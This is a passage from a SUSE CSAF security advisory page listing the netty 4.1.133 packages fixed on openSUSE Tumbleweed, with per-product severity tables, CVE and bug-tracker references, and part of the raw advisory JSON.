| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
Threats
Impact
important
8.2 (High)
Affected products
Recommended
16 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
Threats
Impact
important
7.3 (High)
Affected products
Recommended
16 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
Threats
Impact
important
7.3 (High)
Affected products
Recommended
16 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
Threats
Impact
important
7.5 (High)
Affected products
Recommended
16 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
Threats
Impact
important
7.5 (High)
Affected products
Recommended
16 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
Threats
Impact
important
5.6 (Medium)
Affected products
Recommended
16 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
Threats
Impact
moderate
6.5 (Medium)
Affected products
Recommended
16 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
Threats
Impact
moderate
8.2 (High)
Affected products
Recommended
16 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
Threats
Impact
important
7.5 (High)
Affected products
Recommended
16 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
Threats
Impact
important
5.3 (Medium)
Affected products
Recommended
16 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
Threats
Impact
moderate
References
38 references
| URL | Category |
|---|---|
| https://www.suse.com/support/security/rating/ | external |
| https://ftp.suse.com/pub/projects/security/csaf/o… | self |
| https://www.suse.com/security/cve/CVE-2026-41417/ | self |
| https://www.suse.com/security/cve/CVE-2026-42578/ | self |
| https://www.suse.com/security/cve/CVE-2026-42579/ | self |
| https://www.suse.com/security/cve/CVE-2026-42580/ | self |
| https://www.suse.com/security/cve/CVE-2026-42581/ | self |
| https://www.suse.com/security/cve/CVE-2026-42582/ | self |
| https://www.suse.com/security/cve/CVE-2026-42583/ | self |
| https://www.suse.com/security/cve/CVE-2026-42584/ | self |
| https://www.suse.com/security/cve/CVE-2026-42585/ | self |
| https://www.suse.com/security/cve/CVE-2026-42586/ | self |
| https://www.suse.com/security/cve/CVE-2026-42587/ | self |
| https://www.suse.com/security/cve/CVE-2026-44248/ | self |
| https://www.suse.com/security/cve/CVE-2026-41417 | external |
| https://bugzilla.suse.com/1264350 | external |
| https://www.suse.com/security/cve/CVE-2026-42578 | external |
| https://bugzilla.suse.com/1265243 | external |
| https://www.suse.com/security/cve/CVE-2026-42579 | external |
| https://bugzilla.suse.com/1265272 | external |
| https://www.suse.com/security/cve/CVE-2026-42580 | external |
| https://bugzilla.suse.com/1265273 | external |
| https://www.suse.com/security/cve/CVE-2026-42581 | external |
| https://bugzilla.suse.com/1265277 | external |
| https://www.suse.com/security/cve/CVE-2026-42582 | external |
| https://bugzilla.suse.com/1265318 | external |
| https://www.suse.com/security/cve/CVE-2026-42583 | external |
| https://bugzilla.suse.com/1265279 | external |
| https://www.suse.com/security/cve/CVE-2026-42584 | external |
| https://bugzilla.suse.com/1265280 | external |
| https://www.suse.com/security/cve/CVE-2026-42585 | external |
| https://bugzilla.suse.com/1265291 | external |
| https://www.suse.com/security/cve/CVE-2026-42586 | external |
| https://bugzilla.suse.com/1265245 | external |
| https://www.suse.com/security/cve/CVE-2026-42587 | external |
| https://bugzilla.suse.com/1265246 | external |
| https://www.suse.com/security/cve/CVE-2026-44248 | external |
| https://bugzilla.suse.com/1265293 | external |
{
"document": {
"aggregate_severity": {
"namespace": "https://www.suse.com/support/security/rating/",
"text": "moderate"
},
"category": "csaf_security_advisory",
"csaf_version": "2.0",
"distribution": {
"text": "Copyright 2024 SUSE LLC. All rights reserved.",
"tlp": {
"label": "WHITE",
"url": "https://www.first.org/tlp/"
}
},
"lang": "en",
"notes": [
{
"category": "summary",
"text": "netty-4.1.133-1.1 on GA media",
"title": "Title of the patch"
},
{
"category": "description",
"text": "These are all security issues fixed in the netty-4.1.133-1.1 package on the GA media of openSUSE Tumbleweed.",
"title": "Description of the patch"
},
{
"category": "details",
"text": "openSUSE-Tumbleweed-2026-10795",
"title": "Patchnames"
},
{
"category": "legal_disclaimer",
"text": "CSAF 2.0 data is provided by SUSE under the Creative Commons License 4.0 with Attribution (CC-BY-4.0).",
"title": "Terms of use"
}
],
"publisher": {
"category": "vendor",
"contact_details": "https://www.suse.com/support/security/contact/",
"name": "SUSE Product Security Team",
"namespace": "https://www.suse.com/"
},
"references": [
{
"category": "external",
"summary": "SUSE ratings",
"url": "https://www.suse.com/support/security/rating/"
},
{
"category": "self",
"summary": "URL of this CSAF notice",
"url": "https://ftp.suse.com/pub/projects/security/csaf/opensuse-su-2026_10795-1.json"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2026-41417 page",
"url": "https://www.suse.com/security/cve/CVE-2026-41417/"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2026-42578 page",
"url": "https://www.suse.com/security/cve/CVE-2026-42578/"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2026-42579 page",
"url": "https://www.suse.com/security/cve/CVE-2026-42579/"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2026-42580 page",
"url": "https://www.suse.com/security/cve/CVE-2026-42580/"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2026-42581 page",
"url": "https://www.suse.com/security/cve/CVE-2026-42581/"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2026-42582 page",
"url": "https://www.suse.com/security/cve/CVE-2026-42582/"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2026-42583 page",
"url": "https://www.suse.com/security/cve/CVE-2026-42583/"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2026-42584 page",
"url": "https://www.suse.com/security/cve/CVE-2026-42584/"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2026-42585 page",
"url": "https://www.suse.com/security/cve/CVE-2026-42585/"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2026-42586 page",
"url": "https://www.suse.com/security/cve/CVE-2026-42586/"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2026-42587 page",
"url": "https://www.suse.com/security/cve/CVE-2026-42587/"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2026-44248 page",
"url": "https://www.suse.com/security/cve/CVE-2026-44248/"
}
],
"title": "netty-4.1.133-1.1 on GA media",
"tracking": {
"current_release_date": "2026-05-16T00:00:00Z",
"generator": {
"date": "2026-05-16T00:00:00Z",
"engine": {
"name": "cve-database.git:bin/generate-csaf.pl",
"version": "1"
}
},
"id": "openSUSE-SU-2026:10795-1",
"initial_release_date": "2026-05-16T00:00:00Z",
"revision_history": [
{
"date": "2026-05-16T00:00:00Z",
"number": "1",
"summary": "Current version"
}
],
"status": "final",
"version": "1"
}
},
"product_tree": {
"branches": [
{
"branches": [
{
"branches": [
{
"category": "product_version",
"name": "netty-4.1.133-1.1.aarch64",
"product": {
"name": "netty-4.1.133-1.1.aarch64",
"product_id": "netty-4.1.133-1.1.aarch64"
}
},
{
"category": "product_version",
"name": "netty-bom-4.1.133-1.1.aarch64",
"product": {
"name": "netty-bom-4.1.133-1.1.aarch64",
"product_id": "netty-bom-4.1.133-1.1.aarch64"
}
},
{
"category": "product_version",
"name": "netty-javadoc-4.1.133-1.1.aarch64",
"product": {
"name": "netty-javadoc-4.1.133-1.1.aarch64",
"product_id": "netty-javadoc-4.1.133-1.1.aarch64"
}
},
{
"category": "product_version",
"name": "netty-parent-4.1.133-1.1.aarch64",
"product": {
"name": "netty-parent-4.1.133-1.1.aarch64",
"product_id": "netty-parent-4.1.133-1.1.aarch64"
}
}
],
"category": "architecture",
"name": "aarch64"
},
{
"branches": [
{
"category": "product_version",
"name": "netty-4.1.133-1.1.ppc64le",
"product": {
"name": "netty-4.1.133-1.1.ppc64le",
"product_id": "netty-4.1.133-1.1.ppc64le"
}
},
{
"category": "product_version",
"name": "netty-bom-4.1.133-1.1.ppc64le",
"product": {
"name": "netty-bom-4.1.133-1.1.ppc64le",
"product_id": "netty-bom-4.1.133-1.1.ppc64le"
}
},
{
"category": "product_version",
"name": "netty-javadoc-4.1.133-1.1.ppc64le",
"product": {
"name": "netty-javadoc-4.1.133-1.1.ppc64le",
"product_id": "netty-javadoc-4.1.133-1.1.ppc64le"
}
},
{
"category": "product_version",
"name": "netty-parent-4.1.133-1.1.ppc64le",
"product": {
"name": "netty-parent-4.1.133-1.1.ppc64le",
"product_id": "netty-parent-4.1.133-1.1.ppc64le"
}
}
],
"category": "architecture",
"name": "ppc64le"
},
{
"branches": [
{
"category": "product_version",
"name": "netty-4.1.133-1.1.s390x",
"product": {
"name": "netty-4.1.133-1.1.s390x",
"product_id": "netty-4.1.133-1.1.s390x"
}
},
{
"category": "product_version",
"name": "netty-bom-4.1.133-1.1.s390x",
"product": {
"name": "netty-bom-4.1.133-1.1.s390x",
"product_id": "netty-bom-4.1.133-1.1.s390x"
}
},
{
"category": "product_version",
"name": "netty-javadoc-4.1.133-1.1.s390x",
"product": {
"name": "netty-javadoc-4.1.133-1.1.s390x",
"product_id": "netty-javadoc-4.1.133-1.1.s390x"
}
},
{
"category": "product_version",
"name": "netty-parent-4.1.133-1.1.s390x",
"product": {
"name": "netty-parent-4.1.133-1.1.s390x",
"product_id": "netty-parent-4.1.133-1.1.s390x"
}
}
],
"category": "architecture",
"name": "s390x"
},
{
"branches": [
{
"category": "product_version",
"name": "netty-4.1.133-1.1.x86_64",
"product": {
"name": "netty-4.1.133-1.1.x86_64",
"product_id": "netty-4.1.133-1.1.x86_64"
}
},
{
"category": "product_version",
"name": "netty-bom-4.1.133-1.1.x86_64",
"product": {
"name": "netty-bom-4.1.133-1.1.x86_64",
"product_id": "netty-bom-4.1.133-1.1.x86_64"
}
},
{
"category": "product_version",
"name": "netty-javadoc-4.1.133-1.1.x86_64",
"product": {
"name": "netty-javadoc-4.1.133-1.1.x86_64",
"product_id": "netty-javadoc-4.1.133-1.1.x86_64"
}
},
{
"category": "product_version",
"name": "netty-parent-4.1.133-1.1.x86_64",
"product": {
"name": "netty-parent-4.1.133-1.1.x86_64",
"product_id": "netty-parent-4.1.133-1.1.x86_64"
}
}
],
"category": "architecture",
"name": "x86_64"
},
{
"branches": [
{
"category": "product_name",
"name": "openSUSE Tumbleweed",
"product": {
"name": "openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed",
"product_identification_helper": {
"cpe": "cpe:/o:opensuse:tumbleweed"
}
}
}
],
"category": "product_family",
"name": "SUSE Linux Enterprise"
}
],
"category": "vendor",
"name": "SUSE"
}
],
"relationships": [
{
"category": "default_component_of",
"full_product_name": {
"name": "netty-4.1.133-1.1.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64"
},
"product_reference": "netty-4.1.133-1.1.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "netty-4.1.133-1.1.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le"
},
"product_reference": "netty-4.1.133-1.1.ppc64le",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
